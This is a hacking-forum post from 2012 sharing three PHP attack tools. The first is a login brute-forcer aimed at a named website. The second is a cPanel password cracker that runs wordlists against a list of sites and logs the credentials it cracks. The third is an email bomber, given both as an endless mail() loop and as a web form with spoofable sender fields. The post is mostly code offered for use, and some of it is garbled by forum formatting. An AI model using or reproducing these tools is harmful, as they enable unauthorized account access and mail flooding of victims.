

# Forum:[Hack Forums](#)

Thread: [cURL Bruteforcer, Cpanel Cracker, Email Bomber](#)

**Fox1** - December 3, 2012, 1:45 pm

saw it in HH ...

## PHP Code

```
<?php
// configure the bruter with your scenario
$target = "<a class='bbc_url' title='External link' href='http:
//www.darkmindz.com/login.php%22;' rel='nofollow external'>http://www.darkmindz...com/login.php
';</a> // your target.
$user = 'admin'; // the user we are brutng
$user_field = 'user_name'; // the username field name in form
$pass_field = 'password'; // the password field name in form
$bad = 'Wrong username or password'; // message if the user / pass was wrong
$list = 'path_to_word_list'; // the path to your wordlist

// Set the time limit of executing the script to 0 - never
set_time_limit(0);

// star the normal cURL routine
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);

// The actual brutng process
foreach(file($list) as $line)
{
    $word = str_replace(array(
        '"',
        '\',
        '\n',
        '\r',
        '\t',
        '\f',
        '\b',
        '\e',
        '\a',
        '\c',
        '\d',
        '\h',
        '\l',
        '\m',
        '\p',
        '\r',
        '\s',
        '\t',
        '\v',
        '\w',
        '\x',
        '\y',
        '\z',
        '\{',
        '\|',
        '\}',
        '\~',
        '\^',
        '\_')
        , ' ', $line);
    $postfields = "".user_field."=".$username."&".pass_field."=".$word."";
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
    $res = curl_exec($ch);
    if(!eregi($bad,$res))
    {
        die("Pass found, it is: {$word}"); // password found
    }
}

// close cURL connection
curl_close($ch);

?>
```

## PHP Code

```
<?php
set_time_limit(0);

/*****
* Private Cpanel Cracker
* Coded by Miyachung
* miyachung@hotmail.com
* Janissaries.Org
*****/

class cracker
{

    public $sitelist;
    public $passlist;

    public function calis()
    {
        $usernames = $this->make_username();
        $sitelist = explode("\n",$this->openfile($this->sitelist));
        $passlist = explode("\n",$this->openfile($this->passlist));
        $increment = 0;

        echo "\n\n[*]Site list -> $this->sitelist\n";
        echo "[*]Pass list -> $this->passlist\n";
        echo "[*]Total urls -> ".count($sitelist)."\n";
        echo "[*]Total pass -> ".count($passlist)."\n";
        echo "[*]Cracking started\n\n";

        foreach($sitelist as $id => $site)
        {
            $increment++;
            $site = trim($site);
            echo "-----\n";
            echo "[*]Trying site: ".$site." $increment / ".count($sitelist)."\n";
            if(eregi('http',$site)){
                $site = str_replace("http://","https://",$site);
            }else{
                $site = "<a class='bbc_url' title='External link' href='https://$site%22;' rel='nofollow external'>https://$site";</a>";
            }
            $site= $site.".2083";

            if(!$this->pass_site($site))
            {
                echo "[-]Not cpanel,passing site\n";
                echo "-----\n\n";
                continue;
            }

            echo "[*]Connected Cpanel [OK]\n";
            echo "[*]Username: ".$usernames[$id]."\n";
```

```

echo "[*]Loaded ".count($passlist)." passwords\n";
echo "[*]Coded by Miyachung ||| Janissaries.Org\n";
foreach($passlist as $pass)
{
$cracked = false;

$pass=trim($pass);

$result = $this->post($site,$usernames[$id],$pass);

if(preg_match('/security_token/', $result))
{
$cracked = true;
echo "[+]$pass password cracked for $usernames[$id]\n";
echo "-----\n\n";
$this->savefile("$site$usernames[$id]|$pass");
break;
}

}

if(!$cracked){echo "[-]Not found\n";echo "-----\n\n";}
}

}

private function make_username()
{
$op = explode("\n", $this->openfile($this->sitelist));
foreach($op as $site)
{

if(ereg('http://', $site)) $site = str_replace("http://", "", $site);
if(!ereg('www', $site)) $site = "www.". $site;

$site = explode(".", $site);
$site = str_replace("-", "", $site[1]);

$usernames[] = substr($site,0,8);

}
return $usernames;
}

public function lists()
{
echo "[!]Site list: ";
$sitelist = fgets(STDIN);
$sitelist = str_replace("\r\n", "", $sitelist);
$sitelist = trim($sitelist);
echo "[!]Pass list: ";
$passlist = fgets(STDIN);
$passlist = str_replace("\r\n", "", $passlist);
$passlist = trim($passlist);

```

```
return array($sitelist,$passlist);
}
```

```
private function post($site,$user,$pass)
{
    $curl = curl_init();
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl,CURLOPT_URL,$site."/login/?login_only=1");
    curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);
    curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
    curl_setopt($curl,CURLOPT_TIMEOUT,7);
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
    curl_setopt($curl,CURLOPT_POST,1);
    curl_setopt($curl,CURLOPT_POSTFIELDS,"user=$user&pass=$pass");
    $exec = curl_exec($curl);
    return $exec;
}
```

```
private function pass_site($site)
{
    $curl = curl_init();
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl,CURLOPT_URL,$site);
    curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,0);
    curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,0);
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
    curl_setopt($curl,CURLOPT_TIMEOUT,7);
    $exec = curl_exec($curl);
    $info = curl_getinfo($curl);
```

```
if($info['http_code'] != 0)
{
    return true;
}
else
{
    return false;
}
```

```
}
```

```
private function openfile($file)
{
    $file = @file_get_contents($file);
    if(!$file) exit("WTC File not found ?");
    return $file;
}
```

```
private function savefile($content)
{
    $file = fopen('crackerlog.txt','ab');
    fwrite($file,$content."\r\n");
    fclose($file);
}
```

```

return $file;
}

}

$class = new cracker();
$lists = $class->lists();

if(empty($lists[0]) || empty($lists[1])) exit("WTC Empty ? ");

$class->sitelist = $lists[0];
$class->passlist = $lists[1];
$class->calis();

```

```
?>\
```

#### PHP Code

```

<?php
$i =1;
do {
mail("victim@host.com", "Your Subject", "Your Message", "From: you@host.com");
} while ($i > 0);
?>Or

```

#### PHP Code

```

<?php
<!DOCTYPE html PUBLIC
"-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="fr" >
  <head>
    <title>Mail Bomber</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  </head>
  <body>
[b]<!--[/b]
  **
  *   ==   *
  *   Developed by OriginalsgGeeks   *
  *   ==   *
  **
  !-->
<?php
if (!isset($_POST['destinataire']))
{
?>
<center><h1>Mail Bomber</h1></center>
<form action="" method="post">
<p>slave : <input type="text" name="destinataire" />
Expéditeur : <input type="text" name="expediteur" />
Sujet : <input type="text" name="sujet" />
Contenu : <textarea rows="10" cols="30" name="texte"><textarea/>
Nombre de message : <input type="text" name="nombre" /></p>
<input type="submit" value="Envoyer" />

```

```
</form>
<?php
}
else
{
$titre = $_POST['sujet'];
$expediteur = $_POST['expediteur'];
$texte = $_POST['texte'];
$destinataire = $_POST['destinataire'];
$nombre = (int) $_POST['nombre'];
$to = $destinataire;
$subject = $titre;
$message = $texte;
$headers = "From: " . $expediteur . "\r\n" .
'Reply-To: ' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
if ((int)$nombre)
{
for($i=1;$i<=$nombre;$i++)
{
$temps_debut = microtime(true);
mail($to, $subject, $message, $headers);
$temps_fin = microtime(true);
echo '<font color="\white">Sending times of '.$i.' message : '.round($temps_fin - $temps_debut,
4).' second.';
}
}
else
{
echo 'Please enter a number for number of message.';
}
}
?>
</body>
</html>
```